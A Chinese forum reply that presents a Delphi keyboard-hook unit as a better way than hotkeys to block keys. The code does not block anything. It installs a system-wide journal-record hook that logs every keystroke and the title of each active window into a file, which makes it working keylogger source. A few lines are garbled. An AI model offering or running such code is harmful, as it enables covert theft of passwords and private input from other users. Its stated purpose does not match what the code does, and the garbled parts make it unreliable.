注册成热键 是可以。但是不是最好的方法。。
(别的程序把热键注册成你设置的时候有冲突)
装个钩子才够棒。想禁止哪个键都行。。包括系统键(2K下CTRL+ALT+DEL不包括)
unit HookProc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
hNextHookProc:hhook;
procsaveexit
ointer;
procedure GetFormHandle(hhwnd:hwnd);stdcall;
function keyboardhooker(icode:integer;wparam_str:wparam;lparam_str:lparam):lresult;stdcall;
function InstallKeyHook:bool;stdcall;//加载钩子
function UninstallKeyHook:bool;stdcall;//卸载钩子
procedure keyhookexit;far;
var afilename:string;//将键盘输入动作写入文件中
implementation
var
debugfile:textfile;
MainFormHandle:hwnd;
// l_PrvChar:char;
hLastActiveWindow,hFocusWindow:hwnd;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
function GetAppName(const AWindowHandle: THandle): string;
var
Hand:THandle;
begin
Result := '';
Hand:=GetModuleHandle('Ghost');
Result:=GetModuleName(Hand);
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
procedure GetFormHandle(hhwnd:hwnd);stdcall;
begin
MainformHandle:=hhwnd;
aFileName:=ExtractFilePath(GetAppName(hhwnd))+'word.ini';
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
function keyboardhooker(iCode:integer;wParam_str:wparam;lParam_str:lparam):lresult;stdcall;
const
_Keypressmask=$80000000;
var
curpoint:TPoint;
vKey,aKey:word;
maxCount:integer;
szTitle:array[0..255] of char;
// szTime:array[0..127] of char;
iShift,iCapital,iNumLock:integer;
bCapital,bNumLock,bShift:boolean;
ch:char;
str:array[0..10] of char;
pEvt
EventMsg;
begin
{$i-}
{DEFINE isChar}
{$DEFINE isInt}
// ch:='';
if iCode<0 then
begin
result:=callnexthookex(hNextHookProc,iCode,wparam_str,lparam_str);
exit;
end;
if iCode=HC_ACTION then
begin
assignfile(debugfile,afilename);
if fileexists(aFilename) then append(debugfile)
else rewrite(debugfile);
pEvt:=PEventMsg(lParam_str);
if pEvt.message=WM_KEYDOWN then
begin
hFocusWindow:=GetActiveWindow;
if hFocusWindow<>hLastActiveWindow then
begin
maxCount:=GetWindowTextLength(hFocusWindow)+1;
GetWindowText(hFocusWindow,szTitle,maxCount);
writeln(debugfile,#13#10'窗口:'+StrPas(szTitle));
hLastActiveWindow:=hFocusWindow;
end;
vKey:=LoByte(pEvt.paramL);
aKey:=vKey;
iShift:=GetKeyState(VK_SHIFT);
iCapital:=GetKeyState(VK_CAPITAL);
iNumLock:=GetKeyState(VK_NUMLOCK);
bShift:=iShift and _KeyPressMask=_KeyPressMask;
bCapital:=iCapital and 1=1;
bNumLock:=iNumLock and 1=1;
if (vKey>=65) and (vKey<=90) then
begin
if not bCapital then
begin
if not bShift then Inc(aKey,32);
end
else
begin
if bShift then Inc(aKey,32);
end;
end;{if The Key is Char 如果是字母}
if (vKey>=96) and (vKey<=105) then
if bNumLock then Dec(aKey,48);{如果是小键盘上的数字 if is then minboard's number}
if (vKey>=48) and (vKey<=57) then // 数字+符号
begin
case vKey of
48:
if not bShift then ch:='0'
else ch:=')';
49:
if not bShift then ch:='1'
else ch:='!';
50:
if not bShift then ch:='2'
else ch:='@';
51:
if not bShift then ch:='3'
else ch:='#';
52:
if not bShift then ch:='4'
else ch:='$';
53:
if not bShift then ch:='5'
else ch:='%';
54:
if not bShift then ch:='6'
else ch:='^';
55:
if not bShift then ch:='7'
else ch:='&';
56:
if not bShift then ch:='8'
else ch:='*';
57:
if not bShift then ch:='9'
else ch:='(';
else
ch:='n';
end;
if ch<>'n' then aKey:=ord(ch);
end;
if (vKey>=186) and (vKey<=222) then // 其他键
begin
case vKey of
186:
if not bShift then ch:=';'
else ch:=':';
187:
if not bShift then ch:='='
else ch:='+';
188:
if not bShift then ch:=','
else ch:='<' ;
189:
if not bShift then ch:='-'
else ch:='_';
190:
if not bShift then ch:='.'
else ch:='>';
191:
if not bShift then ch:='/'
else ch:='?';
192:
if not bShift then ch:='`'
else ch:='~';
219:
if not bShift then ch:='['
else ch:='{';
220:
if not bShift then ch:='/'
else ch:='|';
221:
if not bShift then ch:=']'
else ch:='}';
222:
if not bShift then ch:=chr(39)
else ch:='"';
else
ch:='n';
end;
if ch<>'n' then aKey:=ord(ch);
end;
if vKey=110 then
if bNumLock then aKey:=ord('.');
fillchar(str,SizeOf(str),0);
if vKey>=48 then str[0]:=Chr(aKey);
if (vKey>=8) and (vKey<=46) then // 其他键
begin
case vKey of
8:StrPCopy(str,'[BkSp]');
9:StrPCopy(str,'[TAB]');
13:StrPCopy(str,'[Enter]');
19:StrPCopy(str,'[BREAK]');
27:StrPCopy(str,'[ESC]');
32:StrPCopy(str,'[Space]');
33:StrPCopy(str,'[PU]');
34:StrPCopy(str,'[PD]');
35:StrPCopy(str,'[END]');
36:StrPCopy(str,'[HOME]');
37:StrPCopy(str,'
');
38:StrPCopy(str,'[UP]');
39:StrPCopy(str,'
');
40:StrPCopy(str,'[DOWN]');
44:StrPCopy(str,'[PRSC]');
45:StrPCopy(str,'[INS]');
46:StrPCopy(str,'[DEL]');
end;
end;
if vKey=91 then StrPCopy(str,'[LWIN]');
if vKey=92 then StrPCopy(str,'[RWIN]');
if vKey=93 then StrPCopy(str,'[POPUP]');
write(debugfile,StrPas(str));
end;{If The Event is WM_KeyDown}
if (pEvt.message=WM_RBUTTONDOWN) or (pEvt.message=WM_LBUTTONDOWN) then
begin
GetCursorPos(curpoint);
write(debugfile,StrPas(str));
end;{if the message is mousemsg}
closefile(debugfile);
end;{if the iCode=hc_action}
result:=callnexthookex(hNextHookProc,icode,wparam_str,lparam_str);
end;
function InstallKeyHook:bool;stdcall;
begin
if hNextHookProc<>0 then
begin
result:=false;
exit;
end;
hNextHookProc:=SetWindowsHookEx(WH_JOURNALRECORD,keyboardhooker,Hinstance,0);
result:=hNextHookProc<>0;
end;
function UninstallKeyHook:bool;stdcall;
begin
if hNextHookProc<>0 then
begin
UnHookWindowsHookEx(hNextHookProc);
hNextHookProc:=0;
end;
result:=hNextHookProc=0;
end;
procedure KeyHookExit;
begin
if hNextHookProc<>0 then UninstallKeyHook;
end;
end.
希望对你有帮助